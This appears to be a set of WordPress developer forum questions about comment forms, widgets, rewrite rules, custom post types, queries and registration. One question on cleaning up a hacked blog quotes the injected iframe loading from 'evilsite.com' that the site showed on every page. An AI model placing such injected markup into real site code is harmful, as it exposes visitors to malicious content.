Error when posting comment form: The error is TypeError: e[h] is not a function

I am getting an error when the function below posts the form (from the second time, the first time it is blocked). When I click the submit button after this, the form submits without problem. The error is TypeError: e[h] is not a function. I already have changed the id of the submit button to something else than "submit". The javascript:               jQuery(document).ready(function() {         var submit_allowed = false;         jQuery("#commentform").submit(function() {               var data = jQuery('#commentform').serialize()             data +="&action=antispam_hook";             jQuery.post(                 anti_spam_ajax.ajaxurl,                 data,                 function(data){                     submit_allowed = true;                     if (jQuery("#sg_anti_spam").length <= 0){                         jQuery('#commentform').append('<input id="sg_anti_spam" type="hidden" name="sg_anti_spam" value="'+data+'" />');                     }                     jQuery('#commentform').submit();                 }             );             if (!submit_allowed) {                 return false;             }         });     });      The html:               <form action="http://xxxxxx/wp-comments-post.php" method="post" id="commentform">
         Reactie         <textarea id="comment" name="comment" cols="45" rows="8" aria-required="true"></textarea>

         <input name="submit" type="submit" id="submitform" value="Reactie plaatsen" />         <input type='hidden' name='comment_post_ID' value='160984' id='comment_post_ID' />         <input type='hidden' name='comment_parent' id='comment_parent' value='0' />
     </form>      Does anyone have an idea to fix this??


Can I set multiple feature images to multiple posts from the media library?

I have 70 posts I would like to add a feature image for. I have loaded all of the feature images to the media library. Can I 'make it the feature image' from the media library, or do I have to go into every post to select 'set a feature image' and then get it from the media library?? Thankyou.


Retina ready for uploaded images which are cropped

I used the search but couldn't get the right answer for my issue. I developped a theme, which on the portfolio template take the selected featured image of the different portfolio items and crop them to a fixed size (add_image_size) to make them fit to the general grid. Until here no Problem ;) But what if I want to make all custom uploaded images "retina ready". I know there are some scripts (`retina.js`) which search on the server if there are a bigger/@2x version of the image and take them. But if the image is cropped by the `add_image_size` (Ex: `the_post_thumbnail('custom-thumb');` ) function, the double/bigger image will have no effect on it? Am I right? How can I solve this issue?


Create an user on external database

I have wordpress site and a project management system from codecanyon. Here is the link I have disabled registration for users in project managment system, only login is enabled. I need to make users manually from the admin panel. I only allow users to register through wordpress. For registration purposes I am using woocommerce registration page that comes with the plugin. Now I need to create a function in wordpress using woocommerce or without using woocommerce, so that when a user register on wordpress, it will automatically create an account on my project management database. So when a user login to wordpress, the user is also loggged in to the project management without entering login information again. Here is the fields on users table of project management.   * id (auto increment),   * username,   * password,   * email, user level(can be set within function) I can create a custom registration page for wordpress if needed. I've searched a lot, but found nothing like this. I only find the methods to use external login on wordpress, but nothing on how to create wordpress users on external db. Any suggestions would be appreciated.


Change User Registration

I want to change the fields/functionality of the WordPress registration.   In the following ways:   1. User specify their e-mail and desired password (no username).   2. I want the user to have to confirm their e-mail before their account is activated.   3. I want a few more fields (I am going to offer a paid and a free membership). Is there a good way that I can utilize the existing WordPress register form? Or should I create one from scratch?


Privacy in WordPress

I am looking to set up a private community using WordPress. The requirements are:   * User can "register" somewhere   * An admin will "approve" them   * The user gets an email "you have been approved"   * The user can then login and access the site and can make posts and reply to stuff Some plugins are able to help parts of this: `Private`, `Private WP`, `User Roles`, but no combination produces what I want. Is there a way to do this with WordPress?


Re-skinning Site

I have a website that I would like to re-skin for a short while as a form of advertising. I however cannot see where in the editor-style.css I would do this - this the top of my code :               /*          Theme Name: Starkers          */          /*          Used to style the TinyMCE editor.          */     html .mceContentBody {         max-width:640px;          }     * {         font-family: Georgia, "Bitstream Charter", serif;         color: #444;          line-height: 1.5;          }     p,     dl,     td,     th,     ul,     ol,     blockquote {         font-size: 16px;          }     tr th,          thead th,          label,          tr th,          thead th {              font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;          }     pre {              font-family: "Courier 10 Pitch", Courier, monospace;          }          code, code var {         font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;          }     body, input, textarea {              font-size: 12px;              line-height: 18px;          }     hr {         background-color: #E7E7E7;               border:0;              height: 1px;              margin-bottom: 18px;              clear:both;          }      Am I even looking in the right place? I am sure there is a really easy, simple way of doing this as it is a popular option.


Assigning a custom post type to a custom page

I'm trying to add a custom post type to a custom page called slides (admin.php?page=slides) and it doesn't want to work. This is my first attempt at a technical plugin using pages. The custom page gets created fine however when I include the function to generate the custom post type it doesn't load into the view. My page generation code is:               add_submenu_page('slideroo',          'Slides', 'Slides', 'manage_options',          'sliderama-slides', 'slides_page');       And my function to register the post type is:               function slides_page()      {     $labels = array(         'name' => _x('My Slides', 'post type general name'),         'singular_name' => _x('Slide Item', 'post type singular name'),         'add_new' => _x('Add New', 'Slide item'),         'add_new_item' => __('Add New Slide Item'),         'edit_item' => __('Edit Slide Item'),         'new_item' => __('New Slide Item'),         'view_item' => __('View Slide Item'),         'search_items' => __('Search Slide'),         'not_found' =>  __('Nothing found'),         'not_found_in_trash' => __('Nothing found in Trash'),         'parent_item_colon' => ''     );          $args = array(         'labels' => $labels,         'public' => true,         'publicly_queryable' => true,         'show_ui' => true,         'query_var' => true,         'menu_icon' => null,         'rewrite' => true,         'capability_type' => 'post',         'hierarchical' => false,         'menu_position' => null,         'supports' => array('title','editor','thumbnail')       );           register_post_type( 'slideroo' , $args );      Thanks


My widget won't update its values when save is clicked

So this is my first attempt a creating a widget that has a functionality of creating a simple image rollover effect (if anyone wants it when it's done, leave me a message). Now I downloaded a sample widget and made some changes, I still haven't touched the html part for the output so ignore that bit. Now my problem is, when I click save, the values in the fields go back to their default values, and they did not do this on the sample widget. Here's my code:               <?php     /**      * Plugin Image: Rollover Widget      * Description: A widget that creates a rollover image effect with a hyperlink.      * Version: 0.1      * Author: Zak Elas      * Author URI:      */               add_action( 'widgets_init', 'my_widget' );               function my_widget() {         register_widget( 'MY_Widget' );     }          class MY_Widget extends WP_Widget {              function MY_Widget() {             $widget_ops = array( 'classname' => 'example', 'description' => __('A widget that creates a rollover image effect with a hyperlink. ', 'example') );                  $control_ops = array( 'width' => 300, 'height' => 350, 'id_base' => 'Rollover Widget' );                  $this->WP_Widget( 'example-widget', __('Example Widget', 'example'), $widget_ops, $control_ops );         }              function widget( $args, $instance ) {             extract( $args );                  //Our variables from the widget settings.             $link = apply_filters('widget_link', $instance['link'] );             $image = $instance['image'];             $rollover_image = $instance['rollover_image'];                  echo $before_widget;                  // Display the widget link              if ( $link )                 echo $before_link . $link . $after_link;                  //Display the name                       printf( '
' . __('Hey their Sailor! My name is %1$s.', 'example') . '
', $image );                           printf( '
' . __('Hey their Sailor! My name is %1$s.', 'example') . '
', $rollover_image );                            echo $after_widget;         }              //Update the widget               function update( $new_instance, $old_instance ) {             $instance = $old_instance;                  //Strip tags from link and name to remove HTML              $instance['link'] = strip_tags( $new_instance['link'] );             $instance['image'] = strip_tags( $new_instance['image'] );             $instance['rollover_image'] = strip_tags( $new_instance['rollover_image'] );                  return $instance;         }                   function form( $instance ) {                  //Set up some default widget settings.             $defaults = array( 'link' => __('Example', 'example'), 'image' => __('/images/editorial.png', 'example') , 'rollover_image' => __('/images/editorial.png', 'example') );             $instance = wp_parse_args( (array) $instance, $defaults ); ?>
                 <label for="<?php echo $this->get_field_id( 'link' ); ?>"><?php _e('link', 'example'); ?>                 <input id="<?php echo $this->get_field_id( 'link' ); ?>" name="<?php echo $this->get_field_name( 'link' ); ?>" value="<?php echo $instance['link']; ?>" style="width:100%;" />

                 <label for="<?php echo $this->get_field_id( 'image' ); ?>"><?php _e('image', 'example'); ?>                 <input id="<?php echo $this->get_field_id( 'image' ); ?>" name="<?php echo $this->get_field_name( 'image' ); ?>" value="<?php echo $instance['image']; ?>" style="width:100%;" />

                 <label for="<?php echo $this->get_field_id( 'rollover_image' ); ?>"><?php _e('rollover_image:', 'example'); ?>                 <input id="<?php echo $this->get_field_id( 'rollover_image' ); ?>" name="<?php echo $this->get_field_name( 'image' ); ?>" value="<?php echo $instance['rollover_image']; ?>" style="width:100%;" />
                        <?php         }     }          ?>      And here is the sample widgets code               <?php     /**      * Plugin Name: A simple Widget      * Description: A widget that displays authors name.      * Version: 0.1      * Author: Bilal Shaheen      * Author URI: http://gearaffiti.com/about      */               add_action( 'widgets_init', 'my_widget' );               function my_widget() {         register_widget( 'MY_Widget' );     }          class MY_Widget extends WP_Widget {              function MY_Widget() {             $widget_ops = array( 'classname' => 'example', 'description' => __('A widget that displays the authors name ', 'example') );                  $control_ops = array( 'width' => 300, 'height' => 350, 'id_base' => 'example-widget' );                  $this->WP_Widget( 'example-widget', __('Example Widget', 'example'), $widget_ops, $control_ops );         }              function widget( $args, $instance ) {             extract( $args );                  //Our variables from the widget settings.             $title = apply_filters('widget_title', $instance['title'] );             $name = $instance['name'];             $show_info = isset( $instance['show_info'] ) ? $instance['show_info'] : false;                  echo $before_widget;                  // Display the widget title              if ( $title )                 echo $before_title . $title . $after_title;                  //Display the name              if ( $name )                 printf( '
' . __('Hey their Sailor! My name is %1$s.', 'example') . '
', $name );                       if ( $show_info )                 printf( $name );                       echo $after_widget;         }              //Update the widget               function update( $new_instance, $old_instance ) {             $instance = $old_instance;                  //Strip tags from title and name to remove HTML              $instance['title'] = strip_tags( $new_instance['title'] );             $instance['name'] = strip_tags( $new_instance['name'] );             $instance['show_info'] = $new_instance['show_info'];                  return $instance;         }                   function form( $instance ) {                  //Set up some default widget settings.             $defaults = array( 'title' => __('Example', 'example'), 'name' => __('Bilal Shaheen', 'example'), 'show_info' => true );             $instance = wp_parse_args( (array) $instance, $defaults ); ?>                  //Widget Title: Text Input.
                 <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e('Title:', 'example'); ?>                 <input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" style="width:100%;" />
                  //Text Input.
                 <label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e('Your Name:', 'example'); ?>                 <input id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" value="<?php echo $instance['name']; ?>" style="width:100%;" />
                       //Checkbox.
                 <input class="checkbox" type="checkbox" <?php checked( $instance['show_info'], true ); ?> id="<?php echo $this->get_field_id( 'show_info' ); ?>" name="<?php echo $this->get_field_name( 'show_info' ); ?>" />                  <label for="<?php echo $this->get_field_id( 'show_info' ); ?>"><?php _e('Display info publicly?', 'example'); ?>
              <?php         }     }          ?>


How to call images from your plugins image folder?

I've done a lot of research and learned a lot about WP constants and function usage for getting image paths etc. but still my original problem persists.               <img src="<?PHP echo WP_PLUGIN_DIR . 'vertical-social-buttons/images/facebook.png'?>">          <img src="<?PHP echo WP_PLUGIN_DIR . 'vertical-social-buttons/images/facebook.png'?>">          <img src="<?PHP echo plugins_url('vertical-social-buttons/images/facebook.png', __FILE__);?>">      All give me broken images. Am I missing something obvious?


How to get wordpress link to fully evaluate when coming from facebook

**The short version:** Any link from Facebook to a page stops evaluating at the "hardcoded page" in the wordpress press install, ignoring the remaining parts of the URL. It doesn't allow the shortcode I wrote, that autogenerates the content on a page for any realestate listing in an external table, to evaluate. **The Long Version** I've created a wordpress plugin that displays the content (real estate listings) from an external database, which works as intended. I use a shortcode to show any of the individual listings on a single page ie: http://www.lbjrealestate.com/property/Horseshoe-Bay/Horseshoe- Bay-P/1104-unit-3-The-Cape/119526/ This all works spectacularly, until you try to post a link to the property from facebook. FB evaluates the above link only up till the page that exists in wordpress (http://www.lbjrealestate.com/property/) which then renders the title to be "No properties match that mls number", and as you might expect, this is a problem. (aside: google+ handles the link just fine) Other potentially relevant info: I'm not using a custom post type, rather, I've created a page that has a shortcode on it. Here is the initialization portion of the plugin, what am I missing?               class property_search {             static $add_script;                  static function init() {                 add_action( 'wp_loaded', array(__CLASS__, 'ps_flush_rules' ));                 add_filter( 'rewrite_rules_array', array(__CLASS__, 'ps_insert_rewrite_rules' ));                 add_filter( 'query_vars', array(__CLASS__, 'ps_insert_query_vars' ));                      add_filter( 'the_title', 'do_shortcode' );                 add_filter( 'wp_title', 'do_shortcode' );                      add_shortcode('show_property', array(__CLASS__, 'property_shortcode'));                 add_shortcode('property_title', array(__CLASS__, 'property_title_shortcode'));             }                  static function ps_flush_rules() {                 $rules = get_option( 'rewrite_rules' );                      if ( ! isset( $rules['(property)/(.+)$'] ) || ! isset( $rules['(properties)/(.+)$'] ) ) {                     global $wp_rewrite;                     $wp_rewrite->flush_rules();                 }             }                  static function ps_insert_rewrite_rules( $rules ) {                 $newrules = array();                 $newrules['(property)/(.+)$'] = 'index.php?pagename=$matches[1]&property=$matches[2]';                 $newrules['(properties)/(.+)$'] = 'index.php?pagename=$matches[1]&geolocation=$matches[2]';                 return $newrules + $rules;             }                  static function ps_insert_query_vars( $vars ) {                 array_push($vars, 'property');                 array_push($vars, 'geolocation');                 return $vars;             }                  ...          }


add_rewrite_rule behaving strangely

I'm customizing another plugin by changing the rewrite rule, from:                   add_rewrite_rule('^api/auth/([0-9]+)?/?','index.php?__api=1&uid=$matches[1]','top');      to:                   add_rewrite_rule('^api/auth/','index.php?__api=1','top');      After making the change (and **not forgetting to refresh the permalinks** ) my endpoint fails to work. When I attempt something like:               file_get_contents("http://mydomain.com/api/auth/")      ...instead of the json object that should be returned, I get the user login form. ![enter image description here](http://i.stack.imgur.com/hvplL.png) What's even weirder is that when I add an integer to the end like this:               file_get_contents("http://mydomain.com/api/auth/3")      ...I get the json object that I expect! What's going on here?


WordPress - wp-admin subdomain

I'm new with WordPress, trying to map the wp-admin to a subdomain: instead of: www.mydomain.net/wp-admin I would like: admin.mydomain.net I have already created a sub-domain (I use GoDaddy) that maps admin.mydomain.net to www.mydomain.net/wp-admin I'm posting this question after searching the whole wide web, but all I found is moving the entire site to a subdomain, which I am not interested in. Thanks in advance to all the helpers!


Multiple item layout with one query

in my homepage I have content boxes with different layouts. Every box has an image and the post title corresponding to a single post. How should I use only one single get_posts() and format the layout of the boxes differently? Example:               H1     Post-title 1     Image 1 BIG          H2     Post-title 2     Image 2 MEDIUM          H3     Post-title 3     Image 3 SMALL


Merging multiple wp_query objects

I have the code below for a multisite install. It works fine, but I need to merge each WP_Query loop object from each multisite together for use in another template with the WordPress loop. Is this possible. I've tried merging the objects with:               $obj_merged = (object) array_merge((array) $obj1, (array) $obj2);             But it doesn't work since the objects contain functions. Ideas?               <?php          // Set up global variables. Great     global $wpdb, $blog_id, $post, $merged_loop;          // Get a list of blogs in your multisite network     $blogs = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM ftc_blogs ORDER BY blog_id" ) );          // Iterate through your list of blogs     foreach ($blogs as $blog){              // Switch to the next blog in the loop.         // This will start at blog_id == 1 because of the ORDER BY statement.         switch_to_blog($blog->blog_id);              // Get the 5 latest posts for the blog and store them in the $query variable.         $args = array( 'post_type' => array('post', 'page'), 'category_name' => 'dashboard', 'posts_per_page' => 5 );         $loop = new WP_Query( $args );              // need to merge $loop data into $merged_loop for use in template.              // Switch back to the main blog         restore_current_blog();     }          endif;     ?>


Front-end registration form with password field

I'm trying to create a front-end registration form for my Wordpress website. The registration form is in the header, so any plugins I've seen don't work as they use shortcodes. Look at my website for a better explanation. I want the registration form to work in the dropdown box at the top of the page. http://swen.me.uk/creepypastaindex/


At my posts archive page, outside the loop, get_the_id() returns the top most post's ID

I'm trying to get the ID of my posts archive page. It's set via the admin as the posts page so it already has the default Query. The template I'm using is `index.php`, Tried using `page-blog.php` but since i set that page as the posts archive it used `index.php` instead (was kind of thrown off by this). `echo get_the_id()` returns the ID of my top-most blog post (in this case a sticky) instead of the page ID. I am outside the loop. There's a similar question here : ID for posts/blogs page but the objective is slightly different and the solution there is to instead use `get_option('page_for_posts')` to get the posts archive ID, I need a way to detect if I am in the posts archive page. I tried using :               if (is_page('blog')){ $current_id = get_option('page_for_posts')      but this didn't work because the global `$post` object seems to refer to my sticky post instead of my archive page Answers i found seems to be workarounds, but doesnt address the underlying problem which is the `$post` screwup. Is there something I'm missing or should be doing another way ? I explicitly need my posts archive page to not be my homepage.


Looking to exclude blog posts from category Previous/Next buttons

I'm working on some conditional elements here and I thought I had it but it's still not working right. You can see my site here. What I've done is displayed only category Legal Libation Columns (98) on this page and excluded it form the blog itself. Perfect. But when you click on a post to view the whole article then head to either the previous or next links to read another blog post it has them all mixed up. Here is what I've placed in my single.php to prevent that. By themselves they work but together in an if else they               <?php if (has_category('Legal Libation Columns') && has_tag('Legal Libation Columns')): ?>          <?php previous_post_link('%link', '← Previous in Legal Libation Columns', TRUE); ?>         <?php next_post_link('%link', 'Next in Legal Libation Columns →', TRUE); ?>     <?php  else: ?>         <?php previous_post_link( '%link', __( '← Previous', 'toolbox' ) ); ?>         <?php next_post_link( '%link', __( 'Next →', 'toolbox' ) ); ?>     <?php endif; ?>      I basically want this category to be completely separate from the blog. I'm very poor with php or programming methods, any advice on how to change my code to do this? UPDATE: This is how I'm filtering my category out of the blog               function exclude_category($query) {         if ( $query->is_home() ) {             $query->set('cat', '-98');         }         return $query;     }     add_filter('pre_get_posts', 'exclude_category');


How to create input page in Wordpress admin panel?

I have never used wordpress before and I'm trying to learn it now, I hope in this forum we can discuss about wordpress more, so I can more understand about it. I have problem, that I want to create a input page for category but this form are located in admin panel. So, how to do it? especially about that steps. Thank so much..


deeplink juggernaut - remove settings

I've used for a little while "SEO Ultimate" for Wordpress. Unfortunately the plugin demonstrated itself to be buggy and without a solid infrastructure on the back that would allow easy overriding of their functions. Last but not least, their module called "link juggernaut" is a piece of cxxp as it links pages themself when it shouldn't and the most recent change that switched links presence from # to % utterly created more problems than ever. In the end I moved to a different plugin. However, although the plugin removal, it appears the deep link juggernaut module are still doing something as I got my plain words converted into links without the link to be really there (not in the content at least). Did anybody come across the same problem and found a solution? Thanks Andrea


Double Titles with Woocommerce and WordPress

My theme is pulling in the post titles so there are duplicates on all the pages and a product title and link on the catalog page (I think it may be pulling the last one entered). Is there any way to remove the titles from Woocommerce so it doesn't mess with the titles on my non shop pages. Here are screenshots (click to enlarge): ![enter image description here](http://i.stack.imgur.com/KQvvvm.png) ![enter image description here](http://i.stack.imgur.com/pn0lwm.png)


WP_Filesystem in custom customize control

I'm currently trying to edit the following file so it uses the WP_Filesystem methods instead of direct PHP filesystem calls: google-font-dropdown-custom- control.php My current code looks as follows:               function mytheme_customize_register( $wp_customize ) {              $wp_customize->add_section('fonts', array(             'title' => 'Font',             'priority' => 40             ));              $wp_customize->add_setting( 'google_webfont' , array(             'default'     => 'Open Sans',             'transport'   => 'refresh',         ) );                   if (false === ($creds = request_filesystem_credentials('customize.php', '', false) ) ) {                  // if we get here, then we don't have credentials yet,             // but have just produced a form for the user to fill in,              // so stop processing for now                  return true; // stop the normal page form from displaying         }              // now we have some credentials, try to get the wp_filesystem running         if ( ! WP_Filesystem($creds) ) {             // our credentials were no good, ask the user for them again             request_filesystem_credentials('customize.php', '', true);             return true;         }              global $wp_filesystem;         require_once('inc/google-font-dropdown-custom-control.php');              $wp_customize->add_control( new Google_Font_Dropdown_Custom_Control( $wp_customize, $wp_filesystem, 'google_font_setting', array(             'label'   => 'Title Font',             'section' => 'fonts',             'settings'   => 'google_webfont'         ) ) );               }     add_action( 'customize_register', 'mytheme_customize_register' );      This however throws me the following error:               Call to undefined function request_filesystem_credentials()      It seems like you can't use the Filesystem in the Theme Customizer? What would the solution be, any tips?


Adding dropdowns to the tinyMCE editor

I'm new to php and wordpress but I've managed to figure out both pretty easily thanks to the community, forums and blogs. I'm close to figuring out what i want to do here, but wasted hours without results yesterday, so i figured i'd reach out. **What i want to do is enable the user to select a block of text including`<ul>`, multiple `<p>` tags and select an item from the tinyMCE editor and wrap that entire block of text in a `<div class="something">... </div>.`** I've started with this great tutorial, but I think my lack of experience is causing me not to understand it, or I'm walking in circles again. http://alisothegeek.com/2011/05/tinymce-styles-dropdown-wordpress-visual- editor/ I've successfully managed to get this method to wrap each tag in it's own div, so if i have an `<ul>` each `<li>` will be in that class, but that won't work for what i'm attempting to do. I really need to wrap the entire selection in a new div. Here's my current array item (refer to step 2 of method 2 in the link above): ...               >  array(     >               'title' => 'Div Section',     >               'block' => 'div',     >               'classes' => 'newClass',     >               'wrapper' => true     >             ),      Thanks for any advice! **UPDATE** was asked to include the full array:               add_filter( 'tiny_mce_before_init', 'my_mce_before_init' );          function my_mce_before_init( $settings ) {              $style_formats = array(             array(                 'title' => 'Button',                 'selector' => 'a',                 'classes' => 'button'             ),             array(                 'title' => 'Callout Box',                 'block' => 'div',                 'classes' => 'callout',                 'wrapper' => true             ),             array(                'title' => 'Div Section',                'block' => 'div',                'classes' => 'newClass',                'wrapper' => true              ),             array(                 'title' => 'Bold Red Text',                 'inline' => 'span',                 'styles' => array(                     'color' => '#f00',                     'fontWeight' => 'bold'                 )             )         );              $settings['style_formats'] = json_encode( $style_formats );              return $settings;          }


SQL - Pull products of particular category from a remote WordPress woocommerce db

I connected to the db and successfully pulled products data. Now I want to to display products from specific category. The store is using woocommerce. The landing page is in different location so I can't import wp functions. Here's what I come up with so far:               SELECT ID, `post_date` ,  `post_title` ,  `post_content` ,  `guid` FROM  `wp_posts` as post          INNER JOIN wp_term_relationships rs ON rs.object_id = post.ID      INNER JOIN wp_terms t ON t.term_id = rs.term_taxonomy_id                WHERE  `post_type` =  "product"       AND  `post_status` =  "publish"          AND rs.term_taxonomy_id  = 117          ORDER BY post_date DESC LIMIT 5      Nothing happens. If I remove `AND rs.term_taxonomy_id = 117` it works as it did before. 5 oldest product appears. Not the products from specific category. What am I missing here?


How to cancel Wordpress' action/filter when using OOP with anonymous callback

Most of the wordpress plugins I found is `functions based`, for example, the offical `akismet` plugin               function akismet_init() {         global $wpcom_api_key, $akismet_api_host, $akismet_api_port;                   // ...     }     add_action('init', 'akismet_init');      **There are a few issues with this approach:**   * you cannot share state between function, so you must use global variables   * hard to do unit test, i.e. no way to mock My initial attempt is to wrap into an Object, e.g. in the `akismet.php`               class Akismet {              protected static $akismet_api_host;         protected static $akismet_api_port;              public function __construct()         {             add_action('init', array($this, 'init'));         }              public function init()         {            // Do my init here         }     }          $GLOBALS['Akismet'] = new Akismet();      However, there is still some issues with this approach   * I need to put most of my methods as public to be callable (which is bad)   * You cannot pass variable into callback without using anonymous callback (and if you use anonymous callback, you cannot remove them by using remove_action/remove_filter) e.g.               public function __construct()     {         $foo = 'bar';         add_action('init', function() use ($foo) {           echo $foo; // You can pass variable by using callback but you cannot this action later!         });     }      So, how to have the flexibility to pass variable into any Wordpress' action/filter and while maintain the flexibility to cancel them later?


Exporting completed webiste for another server

I've been working on a Wordpress website with WooCommerce etc for my friends business for a while. It's pretty much done, all products are added etc. However this has been done on my own webhost / server since my friend's business was already running so I couldn't create the site on his server since he has customers everyday. So now my question is, how do I upload the completed website to his server? I tried just copying all files etc but then I run in to problems with the mysql etc. So basically how do I export the website and upload it on another server.


How is a gallery associated with some post in database?

I see galleries are represented as separate post records with `post_type = 'gallery'` in the database. How is this record (gallery) associated with a basic post (`type = 'post'`) in the terms of database records?


How to build the WP_Query using the code?

E.g. I have something like that:               $continent = $_POST['continent'];          if ($continent != 0) {         // get specific taxonomy e.g. with id=3 which is africa         $continent_query =  array(                         'taxonomy' => 'continent',                         'field' => 'term_id',                         'terms' => $continent                      );     } else {         // how to build query array to search all terms?         // I DON"T KNOW THIS CODE!!!         $continent_query =  array( ?????????????? );     }      I am sending continent variable via post form and it's an integer. If it's "0" (all contintent in select box) then I need to build the **$continent_query** to query all terms. If it's specific then query e.g. only 2 or 3 etc. This is the query:               $args = array(             'post_type' => array( 'post' ),             'posts_per_page' => 10,             'tax_query' =>  array(                                 $continent_query,                             )             );     $wp_query = new WP_Query( $args );      Any idea how to do that for "0"?


How to structure plugin in to functions?

So I have customized a few plugins before, but never developed one from scratch. One thing that I have struggled with is structuring my functions. I found the following snippet and wonder how YOU would structure it and why?               <?php wp_reset_query(); ?>          <?php     $args = array(     'post_type'      => 'page',     'posts_per_page' => -1,     'post_parent'    => 94,     'order'          => 'DESC',     'orderby'        => 'ID',     );     $wp_query = new WP_Query( $args );          if ( $wp_query->have_posts() ) : ?>
          <?php $count=0; ?>             <?php while ( $wp_query->have_posts() ) : $wp_query->the_post(); ?>

                  <a href="<?php the_permalink(); ?>">         <?php echo get_the_post_thumbnail( $post_id, $attr ); ?>
                 <?php the_title(); ?>

          <?php $count++; ?>          <?php if ($count==3 ||$wp_query->found_posts==0) :              echo '

';          ?>          <?php $count=0; ?>          <?php endif; ?>     <?php endwhile; ?>          <?php else : ?>
Sorry but there are no portfolio items.
     <?php endif; ?>          <?php wp_reset_query(); ?>


Verifying that I have fully removed a WordPress hack?

My for-fun WordPress blog at http://fakeplasticrock.com (running WordPress 3.1.1) got hacked -- it was showing an `<iframe>` on every page like so:               <iframe src="http://evilsite.com/go/1"></iframe>     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">      <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">       I did the following   1. Upgraded to 3.1.3 via the built-in WordPress upgrade system   2. Installed the Exploit Scanner (lots of critical warnings on unusual files) and AntiVirus (this showed all green and clean, so I uninstalled and removed it after running)   3. Changed MySQL password.   4. Changed all WordPress user passwords.   5. Connected via FTP and downloaded the whole filesystem (not large, this is a WordPress-only Linux shared host)   6. Diffed the filesystem against an official ZIP of WordPress 3.1.3 and _removed_ or _overwrote_ anything that did not match. I am quite sure that   * _all_ the files on disk are official WordPress 3.1.3 files   * there are no "extra" files on disk other than my one `/theme`, the Exploit Scanner plugin (which I just downloaded), the `/uploads` folder, and a tiny handful of other expected files. My other plugin, wp-recaptcha, matches the current official downloaded version.   * I also checked the `.htaccess` file and nothing looks wrong there ![wordpress 3.1.3 file compare in Beyond Compare](http://i.stack.imgur.com/fDFLA.png) **I did not touch the database** , but I am struggling to think how anything in the database could be malicious without _special PHP code_ to make it work? My WordPress blog appears OK and hack-free now (I think), but is there anything else I should check?


Using second site as staging area

WordPress' "preview" mode is good, but not perfect. How can I create a "staging site", where I can make changes, and then, when I'm satisfied, mirror the changes to my production site? I realize this isn't trivial (eg, copying tables from staging to production would wipe out comments created in the interim), but seems do-able. I know about http://mattheworiordan.com/projects/wp-plugins/dev-staging- environment/ but this assumes you've already setup a dev and staging environment.


How to redirect a sucessful registration to a page template?

Each time I register I end up in the wp-login page (back-end): ![enter image description here](http://i.stack.imgur.com/WdvgR.png) Is there any way of redirecting the users who register to a page template (front-end)?


show custom posts types in archives

I have custom post types using the default categories               'taxonomies' => array('category')      how do I get the custom post types to appear when I click on the category link? Do I need to edit archive.php to pull them in? or if I have a category template? Is it a get_template request?


using multiple meta_key and meta_value in query_posts

how can i use multiple meta_key and meta_value in query_posts? For example, I want to find multiple content with two different meta_key and meta_value. How do I do this? i using this code but not effective:               query_posts('meta_key=test2&meta_value=hello&meta_key=test2&meta_value=bye');      please help me...


In wp_list_comments comment dates won't work?

I'm trying to create my first comments list and comment form in my wordpress site but the dates are displayed as `%e %B %Y at %H:%M` instead of the date. It seems like the `date format` isn't recognized. I've simply written this code:               <?php         $args = array (             'avatar_size' => 48         );         wp_list_comments($args);     ?>     <?php comment_form(); ?>      How can I fix it?


Organize Existing Posts from the Admin Area to a New Category

I want to create and admin area that allows you to add, reorder, and remove existing posts to a 'featured' category by selecting from a dropdown menu that has a list of categories and posts in that category, preferably with a drag and drop functionality. Would this be done with a custom post type? If so, can anyone direct me to an article somewhere that can get me started on doing this?


My archive-posttype.php template is not loading

I'm trying to create an archive-photos.php template for my photos custom post type. The problem I have is that when I view the page it is the archive.php template that is used, not the archive-photos.php. I simply want the archive- photos.php to be used when viewing the archive page for that specific custom post type. What am I missing here? Please note at the end that I have set the photos custom post type to be the main loop. Many thanks for your time and help.               <?php     //custom post type     add_action( 'init', 'create_post_type' );     function create_post_type() {         register_post_type( 'photos',             array(                 'labels' => array(                     'name' => __( 'Photos' ),                     'singular_name' => __( 'Photo' )                 ),             'public' => true,             'has_archive' => true,             'rewrite' => array('slug' => 'photo'),             'menu_position' => 5,             'taxonomies' => array('genre'),             'supports' => array('title', 'editor', 'thumbnail', 'post-formats'),             )         );         flush_rewrite_rules( false );         //this enables post formats.         add_theme_support( 'post-formats', array( 'image', 'chat', 'video', 'gallery' ) );         remove_post_type_support( 'post', 'post-formats' );     }     //hook into the init action and call create_photos_taxonomies when it fires     add_action( 'init', 'create_photos_taxonomies', 0 );     //create taxonomy, genres for the post type "photos"     function create_photos_taxonomies()      {       // Add new taxonomy, make it hierarchical (like categories)       $labels = array(         'name' => _x( 'Genres', 'taxonomy general name' ),         'singular_name' => _x( 'Genre', 'taxonomy singular name' ),         'search_items' =>  __( 'Search Genres' ),         'all_items' => __( 'All Genres' ),         'parent_item' => __( 'Parent Genre' ),         'parent_item_colon' => __( 'Parent Genre:' ),         'edit_item' => __( 'Edit Genre' ),          'update_item' => __( 'Update Genre' ),         'add_new_item' => __( 'Add New Genre' ),         'new_item_name' => __( 'New Genre Name' ),         'menu_name' => __( 'Genre' ),       );           register_taxonomy('genre',array('photos'), array(         'hierarchical' => true,         'labels' => $labels,         'show_ui' => true,         'show_admin_column' => true,         'query_var' => true,         'rewrite' => array( 'slug' => 'photos' ),       ));     }     function my_post_class( $classes ) {         global $post;         $terms = wp_get_object_terms( $post->ID, 'genre' );         foreach ( $terms as $genre ) {             $classes[] = $genre->slug;         }         return $classes;     }     add_filter( 'post_class', 'my_post_class' );     //show posts of post type 'photos', 'page' on home page     add_action( 'pre_get_posts', 'add_my_custom_post_type' );     //make photos custom post type the default post type for the main loop     function add_my_custom_post_type( $query ) {         if ( is_home() && $query->is_main_query() )             $query->set( 'post_type', array( 'photos' ) );         return $query;     }     ?>


Advantages of dbDelta

I understand its advantage for something which will be released in public, but does it do any good for a developer by saving efforts as the code evolves over time? Like right now, I am hardcoding the table name in my queries, what if I was to change the name or something?


Issue with data array format

